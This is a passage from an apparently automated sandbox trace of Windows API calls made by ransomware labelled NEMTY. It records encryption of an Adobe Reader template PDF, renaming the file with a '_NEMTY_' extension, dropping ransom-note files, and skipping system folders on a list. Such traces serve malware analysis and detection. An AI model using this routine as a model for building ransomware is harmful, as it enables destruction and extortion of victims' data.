lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0172.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.126] Sleep (dwMilliseconds=0x5) [0172.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a3e4870, dwHighDateTime=0x1d561e8)) [0172.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a3e4870, dwHighDateTime=0x1d561e8)) [0172.128] GetLastError () returned 0x0 [0172.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.128] GetLastError () returned 0x0 [0172.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.128] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.128] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.129] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0172.129] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="Xg/eXWEM4hrcOBTT7i/6cTz3dwOgCQIkapKuVzw38xtf0pzBAHOZIwDkdAySHyAD\r\nh7Vjup3TkhLx5pyWdzSp97UJ6fY/OGR165fMqsSu/1tlpvmGc/6jYfsyU+WIIawB\r\nnSPxKJ/XJA9xT5JFa5AcrEbAjXB3y3GSON6n1hGyJyKoihF7E8pmrELUlJgVdv8z\r\nqG3YXvywg+0PL3KcoXv497l6JaUsvNLuF5m0NjNW46LGHAfd03VsmU3GGkmAOD+A\r\npBx5xv37c16ROqOBx0CSXJV6p8pMUfy9awcoHuiIFaRexd1usdi2sHy+qoi2yofv\r\nvx+b9+yzJRxGPJ8o5Uo0og==\r\n", pcchString=0x653e5dc) returned 1 [0172.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0172.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.129] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=81222) returned 1 [0172.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13d40) returned 0x6352c48 [0172.129] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.129] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13d40, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13d40, lpOverlapped=0x0) returned 1 [0172.136] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.136] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13d40, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13d40, lpOverlapped=0x0) returned 1 [0172.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.136] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=81222, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d46 [0172.136] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.136] CloseHandle (hObject=0x3b0) returned 1 [0172.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0172.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.137] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.137] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a372450, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a372450, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a3985b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.138] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0172.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.139] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a372450, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a372450, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a3985b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.139] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.139] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SLV", cAlternateFileName="")) returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2=".") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="..") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="...") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="windows") returned -1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="$RECYCLE.BIN") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="rsa") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="NTDETECT.COM") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="ntldr") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="MSDOS.SYS") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="IO.SYS") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="boot.ini") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="boot.ini") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="AUTOEXEC.BAT") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="ntuser.dat") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="desktop.ini") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="CONFIG.SYS") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="RECYCLER") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="BOOTSECT.BAK") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="bootmgr") returned 1 [0172.139] lstrcmpiW (lpString1="SLV", lpString2="programdata") returned 1 [0172.140] lstrcmpiW (lpString1="SLV", lpString2="appdata") returned 1 [0172.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SLV", lpUsedDefaultChar=0x0) returned 3 [0172.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SLV", lpUsedDefaultChar=0x0) returned 3 [0172.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0172.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0172.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0172.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.141] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.141] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.142] CloseHandle (hObject=0x254) returned 1 [0172.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 